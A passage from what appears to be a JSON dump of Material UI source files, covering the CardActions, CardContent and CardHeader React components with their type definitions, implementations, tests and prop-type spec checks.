    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { Theme } from '../styles';\nimport { InternalStandardProps as StandardProps } from '../internal';\nimport { CardActionsClasses } from './cardActionsClasses';\n\nexport interface CardActionsProps extends StandardProps<React.HTMLAttributes<HTMLDivElement>> {\n  /**\n   * The content of the component.\n   */\n  children?: React.ReactNode;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<CardActionsClasses> | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n  /**\n   * If `true`, the actions do not have additional margin.\n   * @default false\n   */\n  disableSpacing?: boolean | undefined;\n}\n\n/**\n *\n * Demos:\n *\n * - [Card](https://next.mui.com/material-ui/react-card/)\n *\n * API:\n *\n * - [CardActions API](https://next.mui.com/material-ui/api/card-actions/)\n */\nexport default function CardActions(props: CardActionsProps): React.JSX.Element;\n"
  },
  {
    "path": "packages/mui-material/src/CardActions/CardActions.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport composeClasses from '@mui/utils/composeClasses';\nimport { styled } from '../zero-styled';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport { getCardActionsUtilityClass } from './cardActionsClasses';\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes, disableSpacing } = ownerState;\n\n  const slots = {\n    root: ['root', !disableSpacing && 'spacing'],\n  };\n\n  return composeClasses(slots, getCardActionsUtilityClass, classes);\n};\n\nconst CardActionsRoot = styled('div', {\n  name: 'MuiCardActions',\n  slot: 'Root',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [styles.root, !ownerState.disableSpacing && styles.spacing];\n  },\n})({\n  display: 'flex',\n  alignItems: 'center',\n  padding: 8,\n  variants: [\n    {\n      props: { disableSpacing: false },\n      style: {\n        '& > :not(style) ~ :not(style)': {\n          marginLeft: 8,\n        },\n      },\n    },\n  ],\n});\n\nconst CardActions = React.forwardRef(function CardActions(inProps, ref) {\n  const props = useDefaultProps({\n    props: inProps,\n    name: 'MuiCardActions',\n  });\n\n  const { disableSpacing = false, className, ...other } = props;\n\n  const ownerState = { ...props, disableSpacing };\n\n  const classes = useUtilityClasses(ownerState);\n\n  return (\n    <CardActionsRoot\n      className={clsx(classes.root, className)}\n      ownerState={ownerState}\n      ref={ref}\n      {...other}\n    />\n  );\n});\n\nCardActions.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * The content of the component.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * If `true`, the actions do not have additional margin.\n   * @default false\n   */\n  disableSpacing: PropTypes.bool,\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n};\n\nexport default CardActions;\n"
  },
  {
    "path": "packages/mui-material/src/CardActions/CardActions.test.js",
    "content": "import { createRenderer, isJsdom } from '@mui/internal-test-utils';\nimport CardActions, { cardActionsClasses as classes } from '@mui/material/CardActions';\nimport Button from '@mui/material/Button';\nimport { expect } from 'chai';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<CardActions />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(<CardActions />, () => ({\n    classes,\n    inheritComponent: 'div',\n    render,\n    refInstanceof: window.HTMLDivElement,\n    muiName: 'MuiCardActions',\n    testVariantProps: { disableSpacing: true },\n    skip: ['componentProp'],\n  }));\n\n  it.skipIf(isJsdom())('should apply margin to all children but the first one', function test() {\n    const { container } = render(\n      <CardActions>\n        <Button data-testid=\"child-1\">Agree</Button>\n        <Button data-testid=\"child-2\" href=\"#\">\n          Agree\n        </Button>\n        <Button data-testid=\"child-3\" component=\"span\">\n          Agree\n        </Button>\n        <div data-testid=\"child-4\" />\n      </CardActions>,\n    );\n\n    const children = container.querySelectorAll('[data-testid^=\"child-\"]');\n    expect(children[0]).toHaveComputedStyle({ marginLeft: '0px' });\n    expect(children[1]).toHaveComputedStyle({ marginLeft: '8px' });\n    expect(children[2]).toHaveComputedStyle({ marginLeft: '8px' });\n    expect(children[3]).toHaveComputedStyle({ marginLeft: '8px' });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/CardActions/cardActionsClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface CardActionsClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the root element unless `disableSpacing={true}`. */\n  spacing: string;\n}\n\nexport type CardActionsClassKey = keyof CardActionsClasses;\n\nexport function getCardActionsUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiCardActions', slot);\n}\n\nconst cardActionsClasses: CardActionsClasses = generateUtilityClasses('MuiCardActions', [\n  'root',\n  'spacing',\n]);\n\nexport default cardActionsClasses;\n"
  },
  {
    "path": "packages/mui-material/src/CardActions/index.d.ts",
    "content": "export { default } from './CardActions';\nexport * from './CardActions';\n\nexport { default as cardActionsClasses } from './cardActionsClasses';\nexport * from './cardActionsClasses';\n"
  },
  {
    "path": "packages/mui-material/src/CardActions/index.js",
    "content": "export { default } from './CardActions';\n\nexport { default as cardActionsClasses } from './cardActionsClasses';\nexport * from './cardActionsClasses';\n"
  },
  {
    "path": "packages/mui-material/src/CardContent/CardContent.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { OverridableComponent, OverrideProps } from '../OverridableComponent';\nimport { Theme } from '../styles';\nimport { CardContentClasses } from './cardContentClasses';\n\nexport interface CardContentOwnProps {\n  /**\n   * The content of the component.\n   */\n  children?: React.ReactNode;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<CardContentClasses> | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n}\n\nexport interface CardContentTypeMap<\n  AdditionalProps = {},\n  RootComponent extends React.ElementType = 'div',\n> {\n  props: AdditionalProps & CardContentOwnProps;\n  defaultComponent: RootComponent;\n}\n/**\n *\n * Demos:\n *\n * - [Card](https://next.mui.com/material-ui/react-card/)\n *\n * API:\n *\n * - [CardContent API](https://next.mui.com/material-ui/api/card-content/)\n */\ndeclare const CardContent: OverridableComponent<CardContentTypeMap>;\n\nexport type CardContentProps<\n  RootComponent extends React.ElementType = CardContentTypeMap['defaultComponent'],\n  AdditionalProps = {},\n> = OverrideProps<CardContentTypeMap<AdditionalProps, RootComponent>, RootComponent> & {\n  component?: React.ElementType | undefined;\n};\n\nexport default CardContent;\n"
  },
  {
    "path": "packages/mui-material/src/CardContent/CardContent.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport composeClasses from '@mui/utils/composeClasses';\nimport { styled } from '../zero-styled';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport { getCardContentUtilityClass } from './cardContentClasses';\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes } = ownerState;\n\n  const slots = {\n    root: ['root'],\n  };\n\n  return composeClasses(slots, getCardContentUtilityClass, classes);\n};\n\nconst CardContentRoot = styled('div', {\n  name: 'MuiCardContent',\n  slot: 'Root',\n})({\n  padding: 16,\n  '&:last-child': {\n    paddingBottom: 24,\n  },\n});\n\nconst CardContent = React.forwardRef(function CardContent(inProps, ref) {\n  const props = useDefaultProps({\n    props: inProps,\n    name: 'MuiCardContent',\n  });\n\n  const { className, component = 'div', ...other } = props;\n\n  const ownerState = { ...props, component };\n\n  const classes = useUtilityClasses(ownerState);\n\n  return (\n    <CardContentRoot\n      as={component}\n      className={clsx(classes.root, className)}\n      ownerState={ownerState}\n      ref={ref}\n      {...other}\n    />\n  );\n});\n\nCardContent.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * The content of the component.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The component used for the root node.\n   * Either a string to use a HTML element or a component.\n   */\n  component: PropTypes.elementType,\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n};\n\nexport default CardContent;\n"
  },
  {
    "path": "packages/mui-material/src/CardContent/CardContent.test.js",
    "content": "import { createRenderer } from '@mui/internal-test-utils';\nimport CardContent, { cardContentClasses as classes } from '@mui/material/CardContent';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<CardContent />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(<CardContent />, () => ({\n    classes,\n    inheritComponent: 'div',\n    render,\n    muiName: 'MuiCardContent',\n    refInstanceof: window.HTMLDivElement,\n    skip: ['themeVariants'],\n    testComponentPropWith: 'span',\n  }));\n});\n"
  },
  {
    "path": "packages/mui-material/src/CardContent/cardContentClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface CardContentClasses {\n  /** Styles applied to the root element. */\n  root: string;\n}\n\nexport type CardContentClassKey = keyof CardContentClasses;\n\nexport function getCardContentUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiCardContent', slot);\n}\n\nconst cardContentClasses: CardContentClasses = generateUtilityClasses('MuiCardContent', ['root']);\n\nexport default cardContentClasses;\n"
  },
  {
    "path": "packages/mui-material/src/CardContent/index.d.ts",
    "content": "export { default } from './CardContent';\nexport * from './CardContent';\n\nexport { default as cardContentClasses } from './cardContentClasses';\nexport * from './cardContentClasses';\n"
  },
  {
    "path": "packages/mui-material/src/CardContent/index.js",
    "content": "export { default } from './CardContent';\n\nexport { default as cardContentClasses } from './cardContentClasses';\nexport * from './cardContentClasses';\n"
  },
  {
    "path": "packages/mui-material/src/CardHeader/CardHeader.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { TypographyProps } from '../Typography';\nimport { OverridableComponent, OverrideProps } from '../OverridableComponent';\nimport { Theme } from '../styles';\nimport { CreateSlotsAndSlotProps, SlotProps } from '../utils/types';\nimport { CardHeaderClasses } from './cardHeaderClasses';\n\nexport interface CardHeaderRootSlotPropsOverrides {}\n\nexport interface CardHeaderAvatarSlotPropsOverrides {}\n\nexport interface CardHeaderActionSlotPropsOverrides {}\n\nexport interface CardHeaderContentSlotPropsOverrides {}\n\nexport interface CardHeaderTitleSlotPropsOverrides {}\n\nexport interface CardHeaderSubheaderSlotPropsOverrides {}\n\nexport interface CardHeaderSlots {\n  /**\n   * The component that renders the root slot.\n   * @default 'div'\n   */\n  root: React.ElementType;\n  /**\n   * The component that renders the avatar slot.\n   * @default 'div'\n   */\n  avatar: React.ElementType;\n  /**\n   * The component that renders the action slot.\n   * @default 'div'\n   */\n  action: React.ElementType;\n  /**\n   * The component that renders the content slot.\n   * @default 'div'\n   */\n  content: React.ElementType;\n  /**\n   * The component that renders the title slot (as long as disableTypography is not `true`).\n   * [Follow this guide](https://mui.com/material-ui/api/typography/#props) to learn more about the requirements for this component.\n   * @default Typography\n   */\n  title: React.ElementType;\n  /**\n   * The component that renders the subheader slot (as long as disableTypography is not `true`).\n   * [Follow this guide](https://mui.com/material-ui/api/typography/#props) to learn more about the requirements for this component.\n   * @default Typography\n   */\n  subheader: React.ElementType;\n}\n\nexport type CardHeaderSlotsAndSlotProps<\n  TitleTypographyComponent extends React.ElementType = React.ElementType<TypographyProps>,\n  SubheaderTypographyComponent extends React.ElementType = React.ElementType<TypographyProps>,\n> = CreateSlotsAndSlotProps<\n  CardHeaderSlots,\n  {\n    /**\n     * Props forwarded to the root slot.\n     * By default, the available props are based on the div element.\n     */\n    root: SlotProps<'div', CardHeaderRootSlotPropsOverrides, CardHeaderOwnerState>;\n    /**\n     * Props forwarded to the avatar slot.\n     * By default, the available props are based on the div element.\n     */\n    avatar: SlotProps<'div', CardHeaderAvatarSlotPropsOverrides, CardHeaderOwnerState>;\n    /**\n     * Props forwarded to the action slot.\n     * By default, the available props are based on the div element.\n     */\n    action: SlotProps<'div', CardHeaderActionSlotPropsOverrides, CardHeaderOwnerState>;\n    /**\n     * Props forwarded to the content slot.\n     * By default, the available props are based on the div element.\n     */\n    content: SlotProps<'div', CardHeaderContentSlotPropsOverrides, CardHeaderOwnerState>;\n    /**\n     * Props forwarded to the title slot (as long as disableTypography is not `true`).\n     * By default, the available props are based on the [Typography](https://mui.com/material-ui/api/typography/#props) component.\n     */\n    title:\n      | TypographyProps<\n          TitleTypographyComponent,\n          { component?: TitleTypographyComponent | undefined } & CardHeaderTitleSlotPropsOverrides\n        >\n      | ((\n          ownerState: CardHeaderOwnerState,\n        ) => TypographyProps<\n          TitleTypographyComponent,\n          { component?: TitleTypographyComponent | undefined } & CardHeaderTitleSlotPropsOverrides\n        >);\n    /**\n     * Props forwarded to the subheader slot (as long as disableTypography is not `true`).\n     * By default, the available props are based on the [Typography](https://mui.com/material-ui/api/typography/#props) component.\n     */\n    subheader:\n      | TypographyProps<\n          SubheaderTypographyComponent,\n          {\n            component?: SubheaderTypographyComponent | undefined;\n          } & CardHeaderSubheaderSlotPropsOverrides\n        >\n      | ((ownerState: CardHeaderOwnerState) => TypographyProps<\n          SubheaderTypographyComponent,\n          {\n            component?: SubheaderTypographyComponent | undefined;\n          } & CardHeaderSubheaderSlotPropsOverrides\n        >);\n  }\n>;\n\nexport interface CardHeaderOwnProps {\n  /**\n   * The action to display in the card header.\n   */\n  action?: React.ReactNode;\n  /**\n   * The Avatar element to display.\n   */\n  avatar?: React.ReactNode;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<CardHeaderClasses> | undefined;\n  /**\n   * If `true`, `subheader` and `title` won't be wrapped by a Typography component.\n   * This can be useful to render an alternative Typography variant by wrapping\n   * the `title` text, and optional `subheader` text\n   * with the Typography component.\n   * @default false\n   */\n  disableTypography?: boolean | undefined;\n  /**\n   * The content of the component.\n   */\n  subheader?: React.ReactNode;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n  /**\n   * The content of the component.\n   */\n  title?: React.ReactNode;\n}\n\nexport interface CardHeaderOwnerState extends CardHeaderOwnProps {}\n\nexport interface CardHeaderTypeMap<\n  AdditionalProps = {},\n  RootComponent extends React.ElementType = 'div',\n  TitleTypographyComponent extends React.ElementType = 'span',\n  SubheaderTypographyComponent extends React.ElementType = 'span',\n> {\n  props: AdditionalProps &\n    CardHeaderOwnProps &\n    CardHeaderSlotsAndSlotProps<TitleTypographyComponent, SubheaderTypographyComponent>;\n  defaultComponent: RootComponent;\n}\n/**\n *\n * Demos:\n *\n * - [Card](https://next.mui.com/material-ui/react-card/)\n *\n * API:\n *\n * - [CardHeader API](https://next.mui.com/material-ui/api/card-header/)\n */\ndeclare const CardHeader: OverridableCardHeader;\n\nexport interface OverridableCardHeader extends OverridableComponent<CardHeaderTypeMap> {\n  <\n    RootComponent extends React.ElementType = CardHeaderTypeMap['defaultComponent'],\n    AdditionalProps = {},\n    TitleTypographyComponent extends React.ElementType = 'span',\n    SubheaderTypographyComponent extends React.ElementType = 'span',\n  >(\n    props: CardHeaderPropsWithComponent<\n      RootComponent,\n      AdditionalProps,\n      TitleTypographyComponent,\n      SubheaderTypographyComponent\n    >,\n  ): React.JSX.Element;\n}\n\nexport type CardHeaderProps<\n  RootComponent extends React.ElementType = CardHeaderTypeMap['defaultComponent'],\n  AdditionalProps = {},\n  TitleTypographyComponent extends React.ElementType = 'span',\n  SubheaderTypographyComponent extends React.ElementType = 'span',\n> = OverrideProps<\n  CardHeaderTypeMap<\n    AdditionalProps,\n    RootComponent,\n    TitleTypographyComponent,\n    SubheaderTypographyComponent\n  >,\n  RootComponent\n>;\n\nexport type CardHeaderPropsWithComponent<\n  RootComponent extends React.ElementType = CardHeaderTypeMap['defaultComponent'],\n  AdditionalProps = {},\n  TitleTypographyComponent extends React.ElementType = 'span',\n  SubheaderTypographyComponent extends React.ElementType = 'span',\n> = {\n  /**\n   * The component used for the root node.\n   * Either a string to use a HTML element or a component.\n   */\n  component?: RootComponent | undefined;\n} & CardHeaderProps<\n  RootComponent,\n  AdditionalProps,\n  TitleTypographyComponent,\n  SubheaderTypographyComponent\n>;\n\nexport default CardHeader;\n"
  },
  {
    "path": "packages/mui-material/src/CardHeader/CardHeader.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport composeClasses from '@mui/utils/composeClasses';\nimport Typography, { typographyClasses } from '../Typography';\nimport { styled } from '../zero-styled';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport cardHeaderClasses, { getCardHeaderUtilityClass } from './cardHeaderClasses';\nimport useSlot from '../utils/useSlot';\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes } = ownerState;\n\n  const slots = {\n    root: ['root'],\n    avatar: ['avatar'],\n    action: ['action'],\n    content: ['content'],\n    title: ['title'],\n    subheader: ['subheader'],\n  };\n\n  return composeClasses(slots, getCardHeaderUtilityClass, classes);\n};\n\nconst CardHeaderRoot = styled('div', {\n  name: 'MuiCardHeader',\n  slot: 'Root',\n  overridesResolver: (props, styles) => {\n    return [\n      { [`& .${cardHeaderClasses.title}`]: styles.title },\n      { [`& .${cardHeaderClasses.subheader}`]: styles.subheader },\n      styles.root,\n    ];\n  },\n})({\n  display: 'flex',\n  alignItems: 'center',\n  padding: 16,\n});\n\nconst CardHeaderAvatar = styled('div', {\n  name: 'MuiCardHeader',\n  slot: 'Avatar',\n})({\n  display: 'flex',\n  flex: '0 0 auto',\n  marginRight: 16,\n});\n\nconst CardHeaderAction = styled('div', {\n  name: 'MuiCardHeader',\n  slot: 'Action',\n})({\n  flex: '0 0 auto',\n  alignSelf: 'flex-start',\n  marginTop: -4,\n  marginRight: -8,\n  marginBottom: -4,\n});\n\nconst CardHeaderContent = styled('div', {\n  name: 'MuiCardHeader',\n  slot: 'Content',\n})({\n  flex: '1 1 auto',\n  // Combine this and the below selector once https://github.com/emotion-js/emotion/issues/3366 is solved\n  [`.${typographyClasses.root}:where(& .${cardHeaderClasses.title})`]: {\n    display: 'block',\n  },\n  [`.${typographyClasses.root}:where(& .${cardHeaderClasses.subheader})`]: {\n    display: 'block',\n  },\n});\n\nconst CardHeader = React.forwardRef(function CardHeader(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiCardHeader' });\n  const {\n    action,\n    avatar,\n    component = 'div',\n    disableTypography = false,\n    subheader: subheaderProp,\n    title: titleProp,\n    slots = {},\n    slotProps = {},\n    ...other\n  } = props;\n\n  const ownerState = {\n    ...props,\n    component,\n    disableTypography,\n  };\n\n  const classes = useUtilityClasses(ownerState);\n\n  const externalForwardedProps = {\n    slots,\n    slotProps,\n  };\n\n  let title = titleProp;\n  const [TitleSlot, titleSlotProps] = useSlot('title', {\n    className: classes.title,\n    elementType: Typography,\n    externalForwardedProps,\n    ownerState,\n    additionalProps: {\n      variant: avatar ? 'body2' : 'h5',\n      component: 'span',\n    },\n  });\n  if (title != null && title.type !== Typography && !disableTypography) {\n    title = <TitleSlot {...titleSlotProps}>{title}</TitleSlot>;\n  }\n\n  let subheader = subheaderProp;\n  const [SubheaderSlot, subheaderSlotProps] = useSlot('subheader', {\n    className: classes.subheader,\n    elementType: Typography,\n    externalForwardedProps,\n    ownerState,\n    additionalProps: {\n      variant: avatar ? 'body2' : 'body1',\n      color: 'textSecondary',\n      component: 'span',\n    },\n  });\n  if (subheader != null && subheader.type !== Typography && !disableTypography) {\n    subheader = <SubheaderSlot {...subheaderSlotProps}>{subheader}</SubheaderSlot>;\n  }\n\n  const [RootSlot, rootSlotProps] = useSlot('root', {\n    ref,\n    className: classes.root,\n    elementType: CardHeaderRoot,\n    externalForwardedProps: {\n      ...externalForwardedProps,\n      ...other,\n      component,\n    },\n    ownerState,\n  });\n\n  const [AvatarSlot, avatarSlotProps] = useSlot('avatar', {\n    className: classes.avatar,\n    elementType: CardHeaderAvatar,\n    externalForwardedProps,\n    ownerState,\n  });\n\n  const [ContentSlot, contentSlotProps] = useSlot('content', {\n    className: classes.content,\n    elementType: CardHeaderContent,\n    externalForwardedProps,\n    ownerState,\n  });\n\n  const [ActionSlot, actionSlotProps] = useSlot('action', {\n    className: classes.action,\n    elementType: CardHeaderAction,\n    externalForwardedProps,\n    ownerState,\n  });\n\n  return (\n    <RootSlot {...rootSlotProps}>\n      {avatar && <AvatarSlot {...avatarSlotProps}>{avatar}</AvatarSlot>}\n      <ContentSlot {...contentSlotProps}>\n        {title}\n        {subheader}\n      </ContentSlot>\n      {action && <ActionSlot {...actionSlotProps}>{action}</ActionSlot>}\n    </RootSlot>\n  );\n});\n\nCardHeader.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * The action to display in the card header.\n   */\n  action: PropTypes.node,\n  /**\n   * The Avatar element to display.\n   */\n  avatar: PropTypes.node,\n  /**\n   * @ignore\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * The component used for the root node.\n   * Either a string to use a HTML element or a component.\n   */\n  component: PropTypes.elementType,\n  /**\n   * If `true`, `subheader` and `title` won't be wrapped by a Typography component.\n   * This can be useful to render an alternative Typography variant by wrapping\n   * the `title` text, and optional `subheader` text\n   * with the Typography component.\n   * @default false\n   */\n  disableTypography: PropTypes.bool,\n  /**\n   * The props used for each slot inside.\n   * @default {}\n   */\n  slotProps: PropTypes /* @typescript-to-proptypes-ignore */.shape({\n    action: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    avatar: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    content: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    root: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    subheader: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    title: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n  }),\n  /**\n   * The components used for each slot inside.\n   * @default {}\n   */\n  slots: PropTypes.shape({\n    action: PropTypes.elementType,\n    avatar: PropTypes.elementType,\n    content: PropTypes.elementType,\n    root: PropTypes.elementType,\n    subheader: PropTypes.elementType,\n    title: PropTypes.elementType,\n  }),\n  /**\n   * The content of the component.\n   */\n  subheader: PropTypes.node,\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n  /**\n   * The content of the component.\n   */\n  title: PropTypes.node,\n};\n\nexport default CardHeader;\n"
  },
  {
    "path": "packages/mui-material/src/CardHeader/CardHeader.spec.tsx",
    "content": "import * as React from 'react';\nimport { styled } from '@mui/material/styles';\nimport CardHeader, { CardHeaderProps, CardHeaderTypeMap } from '@mui/material/CardHeader';\n\nconst CustomComponent: React.FC<{ stringProp: string; numberProp: number }> =\n  function CustomComponent() {\n    return <div />;\n  };\n\ntype DefaultComponent = CardHeaderTypeMap['defaultComponent'];\n\ninterface ComponentProp {\n  component?: React.ElementType;\n}\n\n<CardHeader component={CustomComponent} stringProp=\"s\" numberProp={2} />;\n\nfunction createElementBasePropMixedTest() {\n  React.createElement<CardHeaderProps<DefaultComponent, ComponentProp>>(CardHeader);\n  React.createElement<CardHeaderProps<DefaultComponent, ComponentProp>>(CardHeader, {\n    component: 'div',\n  });\n  // @ts-expect-error required props are missing\n  React.createElement<CardHeaderProps<typeof CustomComponent, ComponentProp>>(CardHeader, {\n    component: CustomComponent,\n  });\n  React.createElement<CardHeaderProps<typeof CustomComponent, ComponentProp>>(CardHeader, {\n    component: CustomComponent,\n    stringProp: '',\n    numberProp: 0,\n  });\n  React.createElement<CardHeaderProps>(CardHeader, {\n    disableTypography: true,\n  });\n  React.createElement<CardHeaderProps<DefaultComponent, {}, React.ElementType>>(CardHeader, {\n    // @ts-expect-error CardHeader does not accept unknownProp\n    unknownProp: 'shouldNotWork',\n  });\n  React.createElement<CardHeaderProps>(CardHeader, {\n    // @ts-expect-error disableTypography does not accept strings\n    disableTypography: 'hello',\n  });\n  React.createElement<CardHeaderProps>(CardHeader, {\n    // @ts-expect-error disableTypography does not accept numbers\n    disableTypography: 1,\n  });\n  React.createElement<CardHeaderProps<any, ComponentProp>>(CardHeader, {\n    // @ts-expect-error `component` is not a valid element\n    component: 'incorrectElement',\n  });\n}\n\nfunction createElementTypographyTest() {\n  React.createElement<CardHeaderProps>(CardHeader, {\n    slotProps: {\n      title: {\n        align: 'center',\n      },\n    },\n  });\n  React.createElement<CardHeaderProps>(CardHeader, {\n    slotProps: {\n      title: {\n        // @ts-expect-error\n        align: 'incorrectAlign',\n      },\n    },\n  });\n  React.createElement<CardHeaderProps>(CardHeader, {\n    slotProps: {\n      title: {\n        variant: 'body1',\n      },\n    },\n  });\n  React.createElement<CardHeaderProps>(CardHeader, {\n    slotProps: {\n      title: {\n        // @ts-expect-error\n        variant: 123,\n      },\n    },\n  });\n  React.createElement<CardHeaderProps<DefaultComponent, {}, React.ElementType>>(CardHeader, {\n    slotProps: {\n      title: {\n        component: 'div',\n      },\n    },\n  });\n  // ExpectError: This is expected to err; the type system should catch required props from \"CustomComponent\".\n  React.createElement<CardHeaderProps<DefaultComponent, {}, React.ElementType>>(CardHeader, {\n    slotProps: {\n      title: {\n        component: CustomComponent,\n      },\n    },\n  });\n  React.createElement<CardHeaderProps<DefaultComponent, {}, React.ElementType>>(CardHeader, {\n    slotProps: {\n      title: {\n        component: CustomComponent,\n        stringProp: '',\n        numberProp: 0,\n      },\n    },\n  });\n  // ExpectError: This is expected to err; the type system should catch the props type mismatch\n  // from \"CustomComponent\" props.\n  React.createElement<CardHeaderProps<DefaultComponent, {}, React.ElementType>>(CardHeader, {\n    slotProps: {\n      title: {\n        component: CustomComponent,\n        stringProp: 0,\n        numberProp: '',\n      },\n    },\n  });\n  // ExpectError: This is expected to err; the type system is welcoming unknown props.\n  React.createElement<CardHeaderProps<DefaultComponent, {}, React.ElementType>>(CardHeader, {\n    slotProps: {\n      title: {\n        unknownProp: 'shouldNotWork',\n      },\n    },\n  });\n  React.createElement<CardHeaderProps<DefaultComponent, {}, React.ElementType>>(CardHeader, {\n    slotProps: {\n      title: {\n        // @ts-expect-error\n        component: 'incorrectComponent',\n      },\n    },\n  });\n  React.createElement<CardHeaderProps>(CardHeader, {\n    slotProps: { title: true },\n  });\n}\n\nfunction componentPropTest() {\n  <CardHeader component=\"div\" />;\n  <CardHeader component={CustomComponent} stringProp=\"string\" numberProp={1} />;\n  // @ts-expect-error\n  <CardHeader component=\"incorrectComponent\" />;\n  // @ts-expect-error\n  <CardHeader component={CustomComponent} />;\n}\n\nfunction mixedCardHeaderComponentAndTypographyTest() {\n  <CardHeader component=\"div\" slotProps={{ title: { component: 'a', href: 'href' } }} />;\n  <CardHeader component=\"div\" slotProps={{ subheader: { component: 'a', href: 'href' } }} />;\n  <CardHeader\n    component={CustomComponent}\n    stringProp=\"string\"\n    numberProp={1}\n    slotProps={{ title: { component: CustomComponent, stringProp: 'stringProp', numberProp: 2 } }}\n  />;\n  <CardHeader\n    component={CustomComponent}\n    stringProp=\"string\"\n    numberProp={1}\n    slotProps={{\n      title: { component: CustomComponent, stringProp: 'stringProp', numberProp: 2 },\n      subheader: {\n        component: CustomComponent,\n        stringProp: 'stringProp',\n        numberProp: 2,\n      },\n    }}\n  />;\n  // @ts-expect-error\n  <CardHeader component=\"incorrectComponent\" />;\n  // @ts-expect-error\n  <CardHeader component={CustomComponent} />;\n  <CardHeader\n    component={CustomComponent}\n    stringProp=\"string\"\n    numberProp={1}\n    slotProps={{\n      // @ts-expect-error\n      title: { component: CustomComponent, stringProp: 'stringProp' },\n      subheader: {\n        component: CustomComponent,\n        stringProp: 'stringProp',\n        numberProp: 2,\n      },\n    }}\n  />;\n  // @ts-expect-error\n  <CardHeader\n    component={CustomComponent}\n    stringProp=\"string\"\n    numberProp={1}\n    slotProps={{\n      title: { component: CustomComponent, stringProp: 'stringProp' },\n      subheader: { component: CustomComponent, stringProp: 'stringProp' },\n    }}\n  />;\n  <CardHeader\n    // @ts-expect-error\n    component=\"incorrectComponent\"\n    stringProp=\"string\"\n    numberProp={1}\n    slotProps={{\n      title: { component: CustomComponent, stringProp: 'stringProp', numberProp: 2 },\n      subheader: {\n        component: CustomComponent,\n        stringProp: 'stringProp',\n        numberProp: 2,\n      },\n    }}\n  />;\n}\n\nfunction titleTypographyPropsTest() {\n  // @ts-expect-error\n  